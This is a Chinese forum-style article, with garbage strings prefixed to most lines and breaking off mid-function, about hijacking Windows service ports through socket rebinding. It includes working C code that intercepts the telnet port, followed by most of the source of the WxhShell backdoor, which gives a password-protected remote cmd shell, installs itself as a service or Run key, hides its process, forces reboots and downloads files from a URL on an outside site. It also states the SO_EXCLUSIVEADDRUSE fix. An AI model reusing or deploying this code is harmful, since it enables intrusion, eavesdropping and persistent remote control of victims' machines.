在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Uc_jQ4e_ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
$Y8>_6%+T /xl4ohL$a saddr.sin_family = AF_INET;
.)LZ`Ge3F 9{_8cpm4 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
vuYO\u+ud }1QI"M* bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
J.1O/Pw!.a S5uJX#*; 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
H_VEPp,T Yo >`h2C4 这意味着什么?意味着可以进行如下的攻击:
x&at^Fp ).pO2lLF4 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
/8f>':zUb r?fH
&u 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
h/,R{A2mO u@<Pu@?xm 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
:lUX5j3 K@B" ]6 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
<^d!Vzr] 5\okU"{d7 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
6ayy[5tW :1:3Svb<Y 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
8]S,u:E:N 3^{8_^I 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
~j=xi P ):e+dt #include
J!rY
6[t #include
2zz,(RA #include
j:7*3@f #include
:.Y|I[\E% DWORD WINAPI ClientThread(LPVOID lpParam);
he"L*p*H int main()
O/mR9[} {
r]v&t WORD wVersionRequested;
?N:B DWORD ret;
0s1'pA' WSADATA wsaData;
G3G/xC" BOOL val;
WrNLGkt SOCKADDR_IN saddr;
KacR?Al SOCKADDR_IN scaddr;
rVY?6OMkd int err;
t{!/#eQC SOCKET s;
1j11|~ SOCKET sc;
VM7 !0 int caddsize;
f0vJm HANDLE mt;
WP}ixcq# DWORD tid;
1@xP(XS wVersionRequested = MAKEWORD( 2, 2 );
Q8p=!K err = WSAStartup( wVersionRequested, &wsaData );
UEzsDJu if ( err != 0 ) {
C;9t">prk printf("error!WSAStartup failed!\n");
R,%_deV\( return -1;
YydA6IK4 }
7AFE-'S saddr.sin_family = AF_INET;
WZq,()h %dc3z"u //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
.;9jdGBf 2UiR~P]% saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
~/2g)IS saddr.sin_port = htons(23);
e9&+vsRmA if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
62Mdm3 {
'_V
#;DI printf("error!socket failed!\n");
+IrZ
;&oy return -1;
tR1FO%nC }
wxE?3%.j\ val = TRUE;
vYdR ht\( //SO_REUSEADDR选项就是可以实现端口重绑定的
PY?8[A+ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Jy]Id*u9 {
6JhMkB^h printf("error!setsockopt failed!\n");
@D)Z{=>{=5 return -1;
pV7N byb4 }
Ry&q1j //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
)>\4ULR83 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
!DPF7x(-{ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
|m)kN2w K/^
+eoW( if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
t0q_>T-kt {
OiF{3ae( ret=GetLastError();
iwU[6A printf("error!bind failed!\n");
=Q-k'= 6\ return -1;
Di> rO038 }
2:Q(Gl`<l listen(s,2);
qy
,"X)^# while(1)
?n.)&ZIx0 {
qNxB{0(D caddsize = sizeof(scaddr);
W m
.
}Zh //接受连接请求
}x:0os sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
-p`L%xj\ if(sc!=INVALID_SOCKET)
4J5pXlzV {
[[WF0q mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
!;v.>.lw
if(mt==NULL)
OUI6
ax\[ {
~EEs}i printf("Thread Creat Failed!\n");
9#qeFBI break;
pISp*& }
dFW.}"^c }
L2fZ{bgy CloseHandle(mt);
,(N[*)G }
}^Gd4[(,g closesocket(s);
:_xh(W+2< WSACleanup();
3-C\2 return 0;
Ja|{1&J. }
jZd}OC< DWORD WINAPI ClientThread(LPVOID lpParam)
n*<v]1 {
.po>qb6 SOCKET ss = (SOCKET)lpParam;
NLyXBV[hV SOCKET sc;
wC`;f5-> unsigned char buf[4096];
[ ny6W9 SOCKADDR_IN saddr;
ZSB?Y1wG long num;
l+[czb~ DWORD val;
AOb]qc DWORD ret;
c7K!cfO:{N //如果是隐藏端口应用的话,可以在此处加一些判断
E"qFXA> //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
<uci9- eC saddr.sin_family = AF_INET;
&w85[zs saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
D//=m= saddr.sin_port = htons(23);
Qs9OC9X1 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
&eQJfc\a {
2 0tO#{Li printf("error!socket failed!\n");
d(;4`kd*N return -1;
D."=k{r. }
19t{|w< val = 100;
z)-c#F@% if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
W2]TRO {
rjk ( X|R* ret = GetLastError();
0fArF* return -1;
632bN=> }
z wk.bf>m if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
I4t*? {
V'pqxjfd ret = GetLastError();
8 lT{1ro return -1;
]*N1t>fb }
Udgqkl if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
e,gyQjJR {
QJGKQ2^ n printf("error!socket connect failed!\n");
.c+9P<VmC} closesocket(sc);
QkQ!Ep( closesocket(ss);
:Ht;0|[H return -1;
)nfEQ)L;h} }
A m"(+>W21 while(1)
O
)d[8jw" {
F #`=oM$5 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
nP3 E //如果是嗅探内容的话,可以再此处进行内容分析和记录
t;NV $!! //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
`yO'[2 num = recv(ss,buf,4096,0);
b5a.go if(num>0)
q7\Ovjs0 send(sc,buf,num,0);
F<|t\KOW else if(num==0)
swcd&~9r break;
>IfV\w32 num = recv(sc,buf,4096,0);
f&KdlpxKv if(num>0)
k N7Bd} send(ss,buf,num,0);
Bc5+ss else if(num==0)
vXE0%QE'Q break;
p3(2?UO! }
R2<s0l closesocket(ss);
!t#F/C closesocket(sc);
xHA0gZf return 0 ;
Fc 6iQ }
L|j%S 3=mr
"&]r: A7Po 3n%Q ==========================================================
vB\]u. -NJ!g/ >mM 下边附上一个代码,,WXhSHELL
7[pBUDA YHXLv#8 ==========================================================
lLhL`C! pzZk\-0R #include "stdafx.h"
#xh_ 5GzFoy)j> #include <stdio.h>
w_tJ7pz8T #include <string.h>
(Z]HX@"{J #include <windows.h>
pCi#9=?N #include <winsock2.h>
Smw QET<H #include <winsvc.h>
h^UKT`9vt #include <urlmon.h>
zi@]83SS# &7e)O= #pragma comment (lib, "Ws2_32.lib")
ULJ mSe #pragma comment (lib, "urlmon.lib")
o 5U(i AIYmS#V1W2 #define MAX_USER 100 // 最大客户端连接数
saf&dd #define BUF_SOCK 200 // sock buffer
Fh$slow4! #define KEY_BUFF 255 // 输入 buffer
yLE7>48 M5357Q #define REBOOT 0 // 重启
g4p #define SHUTDOWN 1 // 关机
RE2&mYt 6w8">~)Z #define DEF_PORT 5000 // 监听端口
e'%v1-&sP ia @'%8 #define REG_LEN 16 // 注册表键长度
(t+;O; #define SVC_LEN 80 // NT服务名长度
E
H:T \y`+B*\i // 从dll定义API
hj%ye~|~ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
9;.(u'y| typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
i:]*P typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
"*1f;+\ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
{^a36i Z<[<n0o1 // wxhshell配置信息
\JEXX4% struct WSCFG {
4`m~FNVS int ws_port; // 监听端口
CC=d I char ws_passstr[REG_LEN]; // 口令
soA|wk\A int ws_autoins; // 安装标记, 1=yes 0=no
#G" xNl char ws_regname[REG_LEN]; // 注册表键名
8Me:Yp_Xt char ws_svcname[REG_LEN]; // 服务名
[epi#]m char ws_svcdisp[SVC_LEN]; // 服务显示名
1RcSTg char ws_svcdesc[SVC_LEN]; // 服务描述信息
U1_@F$mq< char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Ysq'2 int ws_downexe; // 下载执行标记, 1=yes 0=no
{9Y+.46S char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
-VxTx^)> char ws_filenam[SVC_LEN]; // 下载后保存的文件名
4fk8*{Y L!0OC''C };
ULrr=5&8 t7n(Qkrv // default Wxhshell configuration
Q1d'~e struct WSCFG wscfg={DEF_PORT,
. o7m! "xuhuanlingzhe",
fZ04!R 1,
Qd}m`YW-f$ "Wxhshell",
)a9 ]US^ "Wxhshell",
3s\.cG?`r "WxhShell Service",
[FA{x?vkf "Wrsky Windows CmdShell Service",
*4+3ObA "Please Input Your Password: ",
|8>3`w! 1,
[[PEa-992 "
http://www.wrsky.com/wxhshell.exe",
poGc a1 "Wxhshell.exe"
IG)s^bP };
;c~cet4 zJP6F.Ov! // 消息定义模块
@k[R/,#'[t char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
F<>!kK/c char *msg_ws_prompt="\n\r? for help\n\r#>";
B~o\+n char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
3bk|<7tl char *msg_ws_ext="\n\rExit.";
)[0T16 char *msg_ws_end="\n\rQuit.";
Ya>oCr}K char *msg_ws_boot="\n\rReboot...";
Gj"7s8(/K| char *msg_ws_poff="\n\rShutdown...";
2
rw%H char *msg_ws_down="\n\rSave to ";
1)
ta BdlVabQyKW char *msg_ws_err="\n\rErr!";
&j(+ /;A char *msg_ws_ok="\n\rOK!";
Ee4&g<X. <N\v)Ug` char ExeFile[MAX_PATH];
i1H\#;`$ int nUser = 0;
_^Mx>hb4. HANDLE handles[MAX_USER];
rSXh;\MfB4 int OsIsNt;
'RRmIx2X -~?J+o+Pr" SERVICE_STATUS serviceStatus;
ST\$= SERVICE_STATUS_HANDLE hServiceStatusHandle;
0#w?HCx= }cT_qqw(f% // 函数声明
,0x y\u int Install(void);
JkW9D)6 int Uninstall(void);
DXz}YIEC int DownloadFile(char *sURL, SOCKET wsh);
H*#s
}9=kZ int Boot(int flag);
]|`Cuc void HideProc(void);
*`ZH` V int GetOsVer(void);
64hk2a8 int Wxhshell(SOCKET wsl);
Q+g!V5' void TalkWithClient(void *cs);
:ba5iMa int CmdShell(SOCKET sock);
*OuStr \o int StartFromService(void);
)Ke*JJaq int StartWxhshell(LPSTR lpCmdLine);
aLIBD'z ,9WBTH8 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
aW>6NDq( VOID WINAPI NTServiceHandler( DWORD fdwControl );
O'Js} W6On93sa // 数据结构和表定义
9Xx's%U SERVICE_TABLE_ENTRY DispatchTable[] =
Cvn#=6V3 {
()~pY!)1/ {wscfg.ws_svcname, NTServiceMain},
yAoe51h? {NULL, NULL}
LpR3BP@At };
| WvU q w)Covz'uf // 自我安装
Q}-~O1 int Install(void)
dtp oU&?6s {
=[F<7pvE char svExeFile[MAX_PATH];
d&Ef"H HKEY key;
\Y"Wu strcpy(svExeFile,ExeFile);
aN"DkUYZM /yM:|`tT // 如果是win9x系统,修改注册表设为自启动
m1Y>Nj[f if(!OsIsNt) {
~gGZmTb if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
4:U?u RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
_i/t?7 RegCloseKey(key);
kF/9-[]$g, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
rETRTp0HT RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
cJ54s} RegCloseKey(key);
`Od5Gh return 0;
)/z@vY }
xO-+i\ ZV }
y~)1
1]'> }
=JJL[}a| else {
d/i`l* &197P7&o // 如果是NT以上系统,安装为系统服务
=}.EY iD SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
m9/}~Y#k if (schSCManager!=0)
4'0Dr++ {
qK)73eNSR SC_HANDLE schService = CreateService
66fO7OJs (
~8lwe*lNV schSCManager,
qi_Jywd:w wscfg.ws_svcname,
H,b5C_D29 wscfg.ws_svcdisp,
@|\}.M<e*) SERVICE_ALL_ACCESS,
=jN*P? SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
}Hn/I,/ SERVICE_AUTO_START,
k{'0[,mx# SERVICE_ERROR_NORMAL,
Yb E-6|cz svExeFile,
EW3(cQbK NULL,
tg{H9tU; NULL,
j$+nKc$ NULL,
:s4p/*f NULL,
b,CaWg NULL
7D<#(CE{ );
]MxC_V+P` if (schService!=0)
{7)st
W {
Z,=7Tu bR# CloseServiceHandle(schService);
Y 'ow CloseServiceHandle(schSCManager);
B[KJR?> strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
aoXb2 2]{ strcat(svExeFile,wscfg.ws_svcname);
B'fb^n< if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
;Rv!k&Df RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
5O\*h;U 6 RegCloseKey(key);
3g >B"t return 0;
;aw=MV }
VY3& }
wu)w CloseServiceHandle(schSCManager);
~J P=T }
1;{Rhu7*
k }
vvm0t"|\ sQ
fFu return 1;
L31HGH2l }
zRyuq1Zyc, vMS
|$L // 自我卸载
<kCU@SK int Uninstall(void)
3? HhG {
q}]XYys HKEY key;
UXh9:T'% [Nk3|u`h if(!OsIsNt) {
)Q.>rX,F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
+t?3T-@Ks RegDeleteValue(key,wscfg.ws_regname);
Xwhui4'w RegCloseKey(key);
-YCOP0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
7R`mf
RegDeleteValue(key,wscfg.ws_regname);
v#!%GEg1r RegCloseKey(key);
v61[.oS return 0;
BG<q IQd }
Y*14v~\' }
/K(o]J0F }
^_f+15]D else {
+ ~>Aj *FM Mjz SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
|6$p;Aar if (schSCManager!=0)
MgY0q?.S= {
#*KNPh SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
og
kD^ if (schService!=0)
dUQDOo {
TTKs3iTXz if(DeleteService(schService)!=0) {
PF53mUs4 CloseServiceHandle(schService);
+1D+]*t_?[ CloseServiceHandle(schSCManager);
3nhXZOO1 return 0;
HBMhtfWW }
i{`;R CloseServiceHandle(schService);
sNLs\4v }
[xGf,;Z CloseServiceHandle(schSCManager);
|y2w9n0D }
k@'#@
t }
smnSDS MP>dW nl return 1;
`-p:vq` }
$GTU$4u fe9LEM8j // 从指定url下载文件
[Ki0b^ int DownloadFile(char *sURL, SOCKET wsh)
^G.B+dG@`x {
apu4DAy&8 HRESULT hr;
o/+13C char seps[]= "/";
hX=A)73( char *token;
d&+h}O char *file;
cj1cZ- char myURL[MAX_PATH];
ekWePL;rR2 char myFILE[MAX_PATH];
FN8NTBk CL+}|7O( strcpy(myURL,sURL);
#N`~xZ|$ token=strtok(myURL,seps);
=_:et0 while(token!=NULL)
d%o&+l# {
<kx&w(= file=token;
* iF]n2g: token=strtok(NULL,seps);
!y@6Mm }
)s%[T-uKi l\@)y4
+ GetCurrentDirectory(MAX_PATH,myFILE);
::}{_ Z strcat(myFILE, "\\");
)3>hhuaa strcat(myFILE, file);
{qN 5MsY send(wsh,myFILE,strlen(myFILE),0);
%'X[^W send(wsh,"...",3,0);
D"a~#^ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
|v({-*7 if(hr==S_OK)
:>Ay^{vf= return 0;
L2[f]J% else
&FF"nE* return 1;
[rSR:V?"a [D<1CF }
C,NJb+J /JWGifH // 系统电源模块
ybY]e; v*O int Boot(int flag)
ZOZ+ Y\uU {
M)2VcDy HANDLE hToken;
opc/e TOKEN_PRIVILEGES tkp;
~NpA".PB A}3=561F?5 if(OsIsNt) {
5nKj
)RH7M OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
xo&]$W8 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
$7rq3y tkp.PrivilegeCount = 1;
z}*9uZ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
-De9_0#R AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
-i%e!DgH if(flag==REBOOT) {
F;7dt@5; if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
:{q<{^c return 0;
u[DfzH }
N-e @j4WU else {
[<
&oF if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
a
0GpfW$t return 0;
AMyIAZnYq) }
B>0].CK` }
V{:A3C41 else {
USM4r!x if(flag==REBOOT) {
d~1gMz+) if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
mqSQL}vR return 0;
^h"`}[+ }
?'KL11@R else {
]Ccg`AR{ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
4UW_Do return 0;
#0y)U;dA+w }
\cUC9/
b }
VB,?Mo}R 4}eepJOn return 1;
z<##g }
mjKS{ Yd#/1!A7u // win9x进程隐藏模块
{l/-LZ. void HideProc(void)
hHT_V2* {
z$?~Y(EY f]\CD<g3|E HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
2C9V|[U, if ( hKernel != NULL )
4Za7^c. {
8&)DE@W pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
w-t8C=Z ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
xT+zU} z FreeLibrary(hKernel);
~;#Y9>7\\' }
6y9t(m !g(KK|`,m return;
3tZ]4ms} }
98uV6b~g 2gCX}4^3b // 获取操作系统版本
er!DYv int GetOsVer(void)
:[hgxJu+ {
+/)#( j@ OSVERSIONINFO winfo;
S|]X'f winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
b-{=s+: GetVersionEx(&winfo);
(4dhuT if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
K0}pi+= return 1;
cM$P`{QrM else
8>WC5%f* return 0;
2&^]k`Aj6D }
ihP|E,L=L (?(zH3 // 客户端句柄模块
=Q+=
f int Wxhshell(SOCKET wsl)
/7t>TYip! {
](wvu(y\E SOCKET wsh;
eFL=G% struct sockaddr_in client;
xx{PespNt DWORD myID;
O4^8jK} t ]_VG while(nUser<MAX_USER)
2IKnhBSV3 {
A .EbXo/ int nSize=sizeof(client);
TiO"xMX wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
jN6uT&{T if(wsh==INVALID_SOCKET) return 1;
~==>pj FMClSeO7
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
p4-o/8rO if(handles[nUser]==0)
]jmL]Ny^ closesocket(wsh);
EB2!Hp uQ3 else
-wSg2'b4E nUser++;
1>E<8&2[L }
ZRg;/sX] WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
RkBb$q9F] V9dF1Hj return 0;
R)RG[F# }
PEuIWXr 7,lq}a8z // 关闭 socket
.[3Z1v, void CloseIt(SOCKET wsh)
2gq9k}38 {
sU@nc!&Y@ closesocket(wsh);
Ux}(?Z nUser--;
B hp-jq'!B ExitThread(0);
f,:9N 5Z }
Ire\i7MF: Z3&_ // 客户端请求句柄
w &(|e < void TalkWithClient(void *cs)
f=mZu1(FZ {
O^^C;U@U<1 qpE&go=k' SOCKET wsh=(SOCKET)cs;
5Drq9B9; char pwd[SVC_LEN];
6T#+V37 char cmd[KEY_BUFF];
-Ty*aov char chr[1];
lS'-xEv? int i,j;
al9t^ NH<5*I/ while (nUser < MAX_USER) {
_q{c##Kf LkK~%tY if(wscfg.ws_passstr) {
Gq }U|Z if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
=aoMii //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
viMzR(JU //ZeroMemory(pwd,KEY_BUFF);
HFaj-~b i=0;
"huFA|` while(i<SVC_LEN) {
dK2p7xo 4*cU< // 设置超时
#[`:'e fd_set FdRead;
m/y2WlcRx struct timeval TimeOut;
li 6%) FD_ZERO(&FdRead);
@qnD=mE FD_SET(wsh,&FdRead);
6w(6}m.L^ TimeOut.tv_sec=8;
A?t%e TimeOut.tv_usec=0;
x*nSHb int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
!qN||mCH if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
"G@g" gP mM-8+H?~b if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
*Ie7{EhJ' pwd
=chr[0]; $+3}po\
if(chr[0]==0xd || chr[0]==0xa) { X7i/fm{l'
pwd=0; W>p-u6u%E|
break; /O^RF }
} 7El[ >
i++; t[oT-r
} .On|uC)!
5_z33,q2
// 如果是非法用户,关闭 socket
OPx`u
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ykX/9y+-s
} naw0$kXTA
fI~Xmw+}}
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ts ^"xlK
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qh2ON>e;
\u>"s
while(1) { :E@3Vl#U
cvfr)K[0
ZeroMemory(cmd,KEY_BUFF); %ve:hym*
:9_L6
// 自动支持客户端 telnet标准 |Clut~G
j=0; 'Ub
g0"F(
while(j<KEY_BUFF) { HsHB!mQV
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j.L-{6_s>~
cmd[j]=chr[0]; D0#x
Lh
if(chr[0]==0xa || chr[0]==0xd) { !H irhDN
cmd[j]=0; 0 rXx RQ
break; [5MJwRM^!;
} [h34d5'w
j++; d~:!#uWyFk
} J<dVTxK12
Q'YH>oGh^
// 下载文件 '=G|Sq^aO
if(strstr(cmd,"http://")) { f/Hm{<BY
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0;:.B
j
if(DownloadFile(cmd,wsh)) sh`s/JRf
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [I$BmGQ
else u*tN)f3
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :SGF45>B@
} YJ;j x0
else { Eg2[k.{P
ae0>
W
switch(cmd[0]) { RQ'H$r.7g
v%s`~~u%^
// 帮助 (''M{n
case '?': { ~YRDyQ:%T
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Mc%Nf$XQ
break; aP8H`^DFX>
} pSr{>;bN
// 安装 x-AZ%)N9
case 'i': { /~Z?27F6@
if(Install()) l-s!A(l
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %_{tzXim
else hDcEGU_
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bLQ ^fH4ww
break; 00SbH$SU
} &b?LP]
// 卸载 `(f!*Ru@/z
case 'r': { sM?MLB\Za
if(Uninstall()) %T)oCjM[\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); O km{Xx
else C_n9T{k
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
2;^y4ssg
break; Nv/v$Z{k
} @*Wh
// 显示 wxhshell 所在路径 `KK>~T_$J
case 'p': { 1Lg-.-V
char svExeFile[MAX_PATH]; y6IXd W
strcpy(svExeFile,"\n\r"); kRTwaNDOD
strcat(svExeFile,ExeFile); _%B^9Yl3(
send(wsh,svExeFile,strlen(svExeFile),0); @H7Wb}
break; 'C:>UlzLy
} |iR T!
]
// 重启 ;3kj2}
case 'b': { E2"q3_,,
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1e>s{
if(Boot(REBOOT)) =7C%P%yt
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8}FzZ?DRy
else { Bnb#{tL
closesocket(wsh); u)V#S:9]
ExitThread(0); q&Gz ]
} eOXHQjuj
break; /qx0TDB
} 8 XICF
// 关机 $`wMX{
case 'd': { VsN pHQG]
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); awOd_![c'
if(Boot(SHUTDOWN)) mFSw@CC
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0\:(ageY?
else { H'LD}\K l
closesocket(wsh); 't_[dSO
ExitThread(0); ;Ww7"-=sw
} ??i,Vr@)w
break; Q<KvBgmT
} Mnz!nWhk
// 获取shell #ssN027
case 's': { g q}I[N
CmdShell(wsh); 2A\,-*pc
closesocket(wsh); W ]Nv33i
[
ExitThread(0); .h&
.K
break; 1XnZy5fEo
} e89Xb;;w
// 退出 ]]&M@FM2z
case 'x': { u6_@.a}
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~-dV^SO
CloseIt(wsh); 6X\ 2GC9
break; =Apxdnz,
} 66'?&Xx'
// 离开 :J:,m
case 'q': { g =2Rqi5
send(wsh,msg_ws_end,strlen(msg_ws_end),0); g*F '[Z."
closesocket(wsh); RtCkV xaEx
WSACleanup(); 5e}A@GyC
exit(1); K,e w >U
break; ]Lm9^q14m
} 7yx$Nn`(
} >A<bBK#
} v k?skN@
<7n4_RlF!
// 提示信息 qpsvi.S
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a?6ab+7#
} qKE:3g35
} 9!Ar`Io2@
\MmI`$
return; w1Ec_y {
} Q\WC+,_%
DF
g,Xa#
// shell模块句柄 h^*4}GU
int CmdShell(SOCKET sock) /MF!GM
{ hTM[8 ~<^
STARTUPINFO si; ~O]]N;>72"
ZeroMemory(&si,sizeof(si)); !Mu|mz=
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \|U l]1pO8
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; PmR~c,
PROCESS_INFORMATION ProcessInfo; \T\b NbPn
char cmdline[]="cmd"; 2{Chu85
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); IZm(`b;t^
return 0; ^m/oDB-
} >(<ytn t=
Hsihytdj
// 自身启动模式 #!$GH_
int StartFromService(void) `c69?/5
{ PI~1GyJr@;
typedef struct p?2Y }9
{ ?0
m\(#
DWORD ExitStatus; vNeCpf
DWORD PebBaseAddress; .!6>oL/iF
DWORD AffinityMask; tU^kQR!
DWORD BasePriority; \y88d4zX
